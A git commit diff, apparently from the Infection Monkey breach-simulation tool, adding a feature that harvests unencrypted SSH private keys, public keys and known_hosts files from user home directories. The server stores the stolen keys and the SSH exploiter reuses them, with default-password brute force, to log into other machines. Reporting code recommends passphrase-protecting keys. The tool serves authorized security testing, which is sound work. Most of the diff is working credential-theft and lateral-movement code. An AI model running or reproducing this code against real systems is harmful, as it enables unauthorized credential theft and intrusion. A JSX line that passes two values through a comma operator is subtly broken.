forked from p15670423/monkey
Merge pull request #138 from VakarisZ/SSH_key_stealing
SSH key stealing
This commit is contained in:
commit
5e7a218b44
|
@ -233,6 +233,12 @@ class Configuration(object):
|
||||||
"""
|
"""
|
||||||
return product(self.exploit_user_list, self.exploit_password_list)
|
return product(self.exploit_user_list, self.exploit_password_list)
|
||||||
|
|
||||||
|
def get_exploit_user_ssh_key_pairs(self):
|
||||||
|
"""
|
||||||
|
:return: All combinations of the configurations users and ssh pairs
|
||||||
|
"""
|
||||||
|
return product(self.exploit_user_list, self.exploit_ssh_keys)
|
||||||
|
|
||||||
def get_exploit_user_password_or_hash_product(self):
|
def get_exploit_user_password_or_hash_product(self):
|
||||||
"""
|
"""
|
||||||
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
||||||
|
@ -251,6 +257,7 @@ class Configuration(object):
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
exploit_lm_hash_list = []
|
exploit_lm_hash_list = []
|
||||||
exploit_ntlm_hash_list = []
|
exploit_ntlm_hash_list = []
|
||||||
|
exploit_ssh_keys = []
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
|
|
@ -67,6 +67,7 @@
|
||||||
"exploit_password_list": [],
|
"exploit_password_list": [],
|
||||||
"exploit_lm_hash_list": [],
|
"exploit_lm_hash_list": [],
|
||||||
"exploit_ntlm_hash_list": [],
|
"exploit_ntlm_hash_list": [],
|
||||||
|
"exploit_ssh_keys": [],
|
||||||
"sambacry_trigger_timeout": 5,
|
"sambacry_trigger_timeout": 5,
|
||||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
|
|
|
@ -24,9 +24,9 @@ class HostExploiter(object):
|
||||||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||||
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||||
|
|
||||||
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
|
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
|
||||||
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
|
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
|
|
|
@ -2,6 +2,7 @@ import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
import StringIO
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
|
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
|
def exploit_with_ssh_keys(self, port, ssh):
|
||||||
|
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||||
|
|
||||||
|
exploited = False
|
||||||
|
|
||||||
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
|
# Creating file-like private key for paramiko
|
||||||
|
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
|
||||||
|
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||||
|
try:
|
||||||
|
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||||
|
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
|
LOG.error("Failed reading ssh key")
|
||||||
|
try:
|
||||||
|
ssh.connect(self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
pkey=pkey,
|
||||||
|
port=port,
|
||||||
|
timeout=None)
|
||||||
|
LOG.debug("Successfully logged in %s using %s users private key",
|
||||||
|
self.host, ssh_string)
|
||||||
|
exploited = True
|
||||||
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
|
break
|
||||||
|
except Exception as exc:
|
||||||
|
LOG.debug("Error logging into victim %r with %s"
|
||||||
|
" private key", self.host,
|
||||||
|
ssh_string)
|
||||||
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
|
continue
|
||||||
|
return exploited
|
||||||
|
|
||||||
|
def exploit_with_login_creds(self, port, ssh):
|
||||||
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
|
exploited = False
|
||||||
|
|
||||||
|
for user, curpass in user_password_pairs:
|
||||||
|
try:
|
||||||
|
ssh.connect(self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
password=curpass,
|
||||||
|
port=port,
|
||||||
|
timeout=None)
|
||||||
|
|
||||||
|
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||||
|
self.host, user, curpass)
|
||||||
|
exploited = True
|
||||||
|
self.report_login_attempt(True, user, curpass)
|
||||||
|
break
|
||||||
|
|
||||||
|
except Exception as exc:
|
||||||
|
LOG.debug("Error logging into victim %r with user"
|
||||||
|
" %s and password '%s': (%s)", self.host,
|
||||||
|
user, curpass, exc)
|
||||||
|
self.report_login_attempt(False, user, curpass)
|
||||||
|
continue
|
||||||
|
return exploited
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
|
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
#Check for possible ssh exploits
|
||||||
|
exploited = self.exploit_with_ssh_keys(port, ssh)
|
||||||
exploited = False
|
if not exploited:
|
||||||
for user, curpass in user_password_pairs:
|
exploited = self.exploit_with_login_creds(port, ssh)
|
||||||
try:
|
|
||||||
ssh.connect(self.host.ip_addr,
|
|
||||||
username=user,
|
|
||||||
password=curpass,
|
|
||||||
port=port,
|
|
||||||
timeout=None)
|
|
||||||
|
|
||||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
|
||||||
self.host, user, curpass)
|
|
||||||
self.report_login_attempt(True, user, curpass)
|
|
||||||
exploited = True
|
|
||||||
break
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
LOG.debug("Error logging into victim %r with user"
|
|
||||||
" %s and password '%s': (%s)", self.host,
|
|
||||||
user, curpass, exc)
|
|
||||||
self.report_login_attempt(False, user, curpass)
|
|
||||||
continue
|
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||||
|
|
|
@ -0,0 +1,96 @@
|
||||||
|
import logging
|
||||||
|
import pwd
|
||||||
|
import os
|
||||||
|
import glob
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SSHCollector(object):
|
||||||
|
"""
|
||||||
|
SSH keys and known hosts collection module
|
||||||
|
"""
|
||||||
|
|
||||||
|
default_dirs = ['/.ssh/', '/']
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_info():
|
||||||
|
LOG.info("Started scanning for ssh keys")
|
||||||
|
home_dirs = SSHCollector.get_home_dirs()
|
||||||
|
ssh_info = SSHCollector.get_ssh_files(home_dirs)
|
||||||
|
LOG.info("Scanned for ssh keys")
|
||||||
|
return ssh_info
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_struct(name, home_dir):
|
||||||
|
"""
|
||||||
|
:return: SSH info struct with these fields:
|
||||||
|
name: username of user, for whom the keys belong
|
||||||
|
home_dir: users home directory
|
||||||
|
public_key: contents of *.pub file(public key)
|
||||||
|
private_key: contents of * file(private key)
|
||||||
|
known_hosts: contents of known_hosts file(all the servers keys are good for,
|
||||||
|
possibly hashed)
|
||||||
|
"""
|
||||||
|
return {'name': name, 'home_dir': home_dir, 'public_key': None,
|
||||||
|
'private_key': None, 'known_hosts': None}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_home_dirs():
|
||||||
|
root_dir = SSHCollector.get_ssh_struct('root', '')
|
||||||
|
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
|
||||||
|
if x.pw_dir.startswith('/home')]
|
||||||
|
home_dirs.append(root_dir)
|
||||||
|
return home_dirs
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_files(usr_info):
|
||||||
|
for info in usr_info:
|
||||||
|
path = info['home_dir']
|
||||||
|
for directory in SSHCollector.default_dirs:
|
||||||
|
if os.path.isdir(path + directory):
|
||||||
|
try:
|
||||||
|
current_path = path + directory
|
||||||
|
# Searching for public key
|
||||||
|
if glob.glob(os.path.join(current_path, '*.pub')):
|
||||||
|
# Getting first file in current path with .pub extension(public key)
|
||||||
|
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
|
||||||
|
LOG.info("Found public key in %s" % public)
|
||||||
|
try:
|
||||||
|
with open(public) as f:
|
||||||
|
info['public_key'] = f.read()
|
||||||
|
# By default private key has the same name as public, only without .pub
|
||||||
|
private = os.path.splitext(public)[0]
|
||||||
|
if os.path.exists(private):
|
||||||
|
try:
|
||||||
|
with open(private) as f:
|
||||||
|
# no use from ssh key if it's encrypted
|
||||||
|
private_key = f.read()
|
||||||
|
if private_key.find('ENCRYPTED') == -1:
|
||||||
|
info['private_key'] = private_key
|
||||||
|
LOG.info("Found private key in %s" % private)
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
# By default known hosts file is called 'known_hosts'
|
||||||
|
known_hosts = os.path.join(current_path, 'known_hosts')
|
||||||
|
if os.path.exists(known_hosts):
|
||||||
|
try:
|
||||||
|
with open(known_hosts) as f:
|
||||||
|
info['known_hosts'] = f.read()
|
||||||
|
LOG.info("Found known_hosts in %s" % known_hosts)
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
# If private key found don't search more
|
||||||
|
if info['private_key']:
|
||||||
|
break
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
|
||||||
|
or info['public_key']]
|
||||||
|
return usr_info
|
|
@ -1,6 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from . import InfoCollector
|
from . import InfoCollector
|
||||||
|
from SSH_info_collector import SSHCollector
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
self.get_azure_info()
|
self.get_azure_info()
|
||||||
|
self.info['ssh_info'] = SSHCollector.get_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
|
|
@ -133,7 +133,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
for attempt in telemetry_json['data']['attempts']:
|
for attempt in telemetry_json['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
found_creds = {'user': attempt['user']}
|
found_creds = {'user': attempt['user']}
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
|
||||||
if len(attempt[field]) != 0:
|
if len(attempt[field]) != 0:
|
||||||
found_creds[field] = attempt[field]
|
found_creds[field] = attempt[field]
|
||||||
NodeService.add_credentials_to_node(edge['to'], found_creds)
|
NodeService.add_credentials_to_node(edge['to'], found_creds)
|
||||||
|
@ -170,12 +170,24 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_system_info_telemetry(telemetry_json):
|
def process_system_info_telemetry(telemetry_json):
|
||||||
|
if 'ssh_info' in telemetry_json['data']:
|
||||||
|
ssh_info = telemetry_json['data']['ssh_info']
|
||||||
|
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
|
||||||
|
if telemetry_json['data']['network_info']['networks']:
|
||||||
|
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
|
||||||
|
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
|
||||||
|
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
|
||||||
if 'credentials' in telemetry_json['data']:
|
if 'credentials' in telemetry_json['data']:
|
||||||
creds = telemetry_json['data']['credentials']
|
creds = telemetry_json['data']['credentials']
|
||||||
Telemetry.encrypt_system_info_creds(creds)
|
Telemetry.encrypt_system_info_creds(creds)
|
||||||
Telemetry.add_system_info_creds_to_config(creds)
|
Telemetry.add_system_info_creds_to_config(creds)
|
||||||
Telemetry.replace_user_dot_with_comma(creds)
|
Telemetry.replace_user_dot_with_comma(creds)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_ip_to_ssh_keys(ip, ssh_info):
|
||||||
|
for key in ssh_info:
|
||||||
|
key['ip'] = ip['addr']
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_trace_telemetry(telemetry_json):
|
def process_trace_telemetry(telemetry_json):
|
||||||
# Nothing to do
|
# Nothing to do
|
||||||
|
@ -196,6 +208,13 @@ class Telemetry(flask_restful.Resource):
|
||||||
# this encoding is because we might run into passwords which are not pure ASCII
|
# this encoding is because we might run into passwords which are not pure ASCII
|
||||||
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
|
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def encrypt_system_info_ssh_keys(ssh_info):
|
||||||
|
for idx, user in enumerate(ssh_info):
|
||||||
|
for field in ['public_key', 'private_key', 'known_hosts']:
|
||||||
|
if ssh_info[idx][field]:
|
||||||
|
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_system_info_creds_to_config(creds):
|
def add_system_info_creds_to_config(creds):
|
||||||
for user in creds:
|
for user in creds:
|
||||||
|
@ -207,6 +226,15 @@ class Telemetry(flask_restful.Resource):
|
||||||
if 'ntlm_hash' in creds[user]:
|
if 'ntlm_hash' in creds[user]:
|
||||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_system_info_ssh_keys_to_config(ssh_info):
|
||||||
|
for user in ssh_info:
|
||||||
|
ConfigService.creds_add_username(user['name'])
|
||||||
|
# Public key is useless without private key
|
||||||
|
if user['public_key'] and user['private_key']:
|
||||||
|
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
|
||||||
|
user['name'], user['ip'])
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def encrypt_exploit_creds(telemetry_json):
|
def encrypt_exploit_creds(telemetry_json):
|
||||||
attempts = telemetry_json['data']['attempts']
|
attempts = telemetry_json['data']['attempts']
|
||||||
|
|
|
@ -508,6 +508,16 @@ SCHEMA = {
|
||||||
},
|
},
|
||||||
"default": [],
|
"default": [],
|
||||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ssh_keys": {
|
||||||
|
"title": "SSH key pairs list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"default": [],
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -804,7 +814,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
[
|
[
|
||||||
['basic', 'credentials', 'exploit_password_list'],
|
['basic', 'credentials', 'exploit_password_list'],
|
||||||
['internal', 'exploits', 'exploit_lm_hash_list'],
|
['internal', 'exploits', 'exploit_lm_hash_list'],
|
||||||
['internal', 'exploits', 'exploit_ntlm_hash_list']
|
['internal', 'exploits', 'exploit_ntlm_hash_list'],
|
||||||
|
['internal', 'exploits', 'exploit_ssh_keys']
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@ -892,6 +903,18 @@ class ConfigService:
|
||||||
def creds_add_ntlm_hash(ntlm_hash):
|
def creds_add_ntlm_hash(ntlm_hash):
|
||||||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ssh_add_keys(public_key, private_key, user, ip):
|
||||||
|
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
|
||||||
|
False, False), user, ip):
|
||||||
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
|
||||||
|
{"public_key": public_key, "private_key": private_key,
|
||||||
|
"user": user, "ip": ip})
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ssh_key_exists(keys, user, ip):
|
||||||
|
return [key for key in keys if key['user'] == user and key['ip'] == ip]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json, should_encrypt):
|
def update_config(config_json, should_encrypt):
|
||||||
if should_encrypt:
|
if should_encrypt:
|
||||||
|
@ -987,7 +1010,11 @@ class ConfigService:
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||||
for key in keys:
|
for key in keys:
|
||||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
||||||
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
# Check if we are decrypting ssh key pair
|
||||||
|
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
|
||||||
|
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
|
||||||
|
else:
|
||||||
|
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
||||||
else:
|
else:
|
||||||
flat_config[key] = encryptor.dec(flat_config[key])
|
flat_config[key] = encryptor.dec(flat_config[key])
|
||||||
return flat_config
|
return flat_config
|
||||||
|
@ -1000,4 +1027,19 @@ class ConfigService:
|
||||||
config_arr = config_arr[config_key_part]
|
config_arr = config_arr[config_key_part]
|
||||||
|
|
||||||
for i in range(len(config_arr)):
|
for i in range(len(config_arr)):
|
||||||
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
# Check if array of shh key pairs and then decrypt
|
||||||
|
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
||||||
|
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
||||||
|
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
||||||
|
else:
|
||||||
|
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def decrypt_ssh_key_pair(pair, encrypt=False):
|
||||||
|
if encrypt:
|
||||||
|
pair['public_key'] = encryptor.enc(pair['public_key'])
|
||||||
|
pair['private_key'] = encryptor.enc(pair['private_key'])
|
||||||
|
else:
|
||||||
|
pair['public_key'] = encryptor.dec(pair['public_key'])
|
||||||
|
pair['private_key'] = encryptor.dec(pair['private_key'])
|
||||||
|
return pair
|
||||||
|
|
|
@ -40,6 +40,7 @@ class ReportService:
|
||||||
SHELLSHOCK = 4
|
SHELLSHOCK = 4
|
||||||
CONFICKER = 5
|
CONFICKER = 5
|
||||||
AZURE = 6
|
AZURE = 6
|
||||||
|
STOLEN_SSH_KEYS = 7
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -162,6 +163,27 @@ class ReportService:
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_keys():
|
||||||
|
"""
|
||||||
|
Return private ssh keys found as credentials
|
||||||
|
:return: List of credentials
|
||||||
|
"""
|
||||||
|
creds = []
|
||||||
|
for telem in mongo.db.telemetry.find(
|
||||||
|
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
|
||||||
|
{'data.ssh_info': 1, 'monkey_guid': 1}
|
||||||
|
):
|
||||||
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
|
if telem['data']['ssh_info']:
|
||||||
|
# Pick out all ssh keys not yet included in creds
|
||||||
|
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||||
|
'origin': origin} for key_pair in telem['data']['ssh_info']
|
||||||
|
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
|
||||||
|
'origin': origin} not in creds]
|
||||||
|
creds.extend(ssh_keys)
|
||||||
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_azure_creds():
|
def get_azure_creds():
|
||||||
"""
|
"""
|
||||||
|
@ -197,9 +219,12 @@ class ReportService:
|
||||||
for attempt in exploit['data']['attempts']:
|
for attempt in exploit['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
processed_exploit['username'] = attempt['user']
|
processed_exploit['username'] = attempt['user']
|
||||||
if len(attempt['password']) > 0:
|
if attempt['password']:
|
||||||
processed_exploit['type'] = 'password'
|
processed_exploit['type'] = 'password'
|
||||||
processed_exploit['password'] = attempt['password']
|
processed_exploit['password'] = attempt['password']
|
||||||
|
elif attempt['ssh_key']:
|
||||||
|
processed_exploit['type'] = 'ssh_key'
|
||||||
|
processed_exploit['ssh_key'] = attempt['ssh_key']
|
||||||
else:
|
else:
|
||||||
processed_exploit['type'] = 'hash'
|
processed_exploit['type'] = 'hash'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
@ -225,8 +250,12 @@ class ReportService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_ssh_exploit(exploit):
|
def process_ssh_exploit(exploit):
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
processed_exploit['type'] = 'ssh'
|
# Check if it's ssh key or ssh login credentials exploit
|
||||||
return processed_exploit
|
if processed_exploit['type'] == 'ssh_key':
|
||||||
|
return processed_exploit
|
||||||
|
else:
|
||||||
|
processed_exploit['type'] = 'ssh'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_rdp_exploit(exploit):
|
def process_rdp_exploit(exploit):
|
||||||
|
@ -326,7 +355,8 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_issues():
|
def get_issues():
|
||||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
|
||||||
|
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||||
issues_dict = {}
|
issues_dict = {}
|
||||||
for issue in issues:
|
for issue in issues:
|
||||||
machine = issue['machine']
|
machine = issue['machine']
|
||||||
|
@ -387,8 +417,10 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||||
elif issue['type'] == 'azure_password':
|
elif issue['type'] == 'azure_password':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||||
|
elif issue['type'] == 'ssh_key':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users:
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
||||||
|
@ -450,6 +482,7 @@ class ReportService:
|
||||||
'exploited': ReportService.get_exploited(),
|
'exploited': ReportService.get_exploited(),
|
||||||
'stolen_creds': ReportService.get_stolen_creds(),
|
'stolen_creds': ReportService.get_stolen_creds(),
|
||||||
'azure_passwords': ReportService.get_azure_creds(),
|
'azure_passwords': ReportService.get_azure_creds(),
|
||||||
|
'ssh_keys': ReportService.get_ssh_keys()
|
||||||
},
|
},
|
||||||
'recommendations':
|
'recommendations':
|
||||||
{
|
{
|
||||||
|
|
|
@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
SAMBACRY: 3,
|
SAMBACRY: 3,
|
||||||
SHELLSHOCK: 4,
|
SHELLSHOCK: 4,
|
||||||
CONFICKER: 5,
|
CONFICKER: 5,
|
||||||
AZURE: 6
|
AZURE: 6,
|
||||||
|
STOLEN_SSH_KEYS: 7
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
return x === true;
|
return x === true;
|
||||||
}).length} threats</span>:
|
}).length} threats</span>:
|
||||||
<ul>
|
<ul>
|
||||||
|
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
|
||||||
|
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
||||||
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
||||||
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
||||||
|
@ -414,7 +417,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
|
<StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateSshKeysIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||||
|
className="label label-danger">SSH</span> attack.
|
||||||
|
<br/>
|
||||||
|
The Monkey authenticated over the SSH protocol with private key <span
|
||||||
|
className="label label-success">{issue.ssh_key}</span>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateRdpIssue(issue) {
|
generateRdpIssue(issue) {
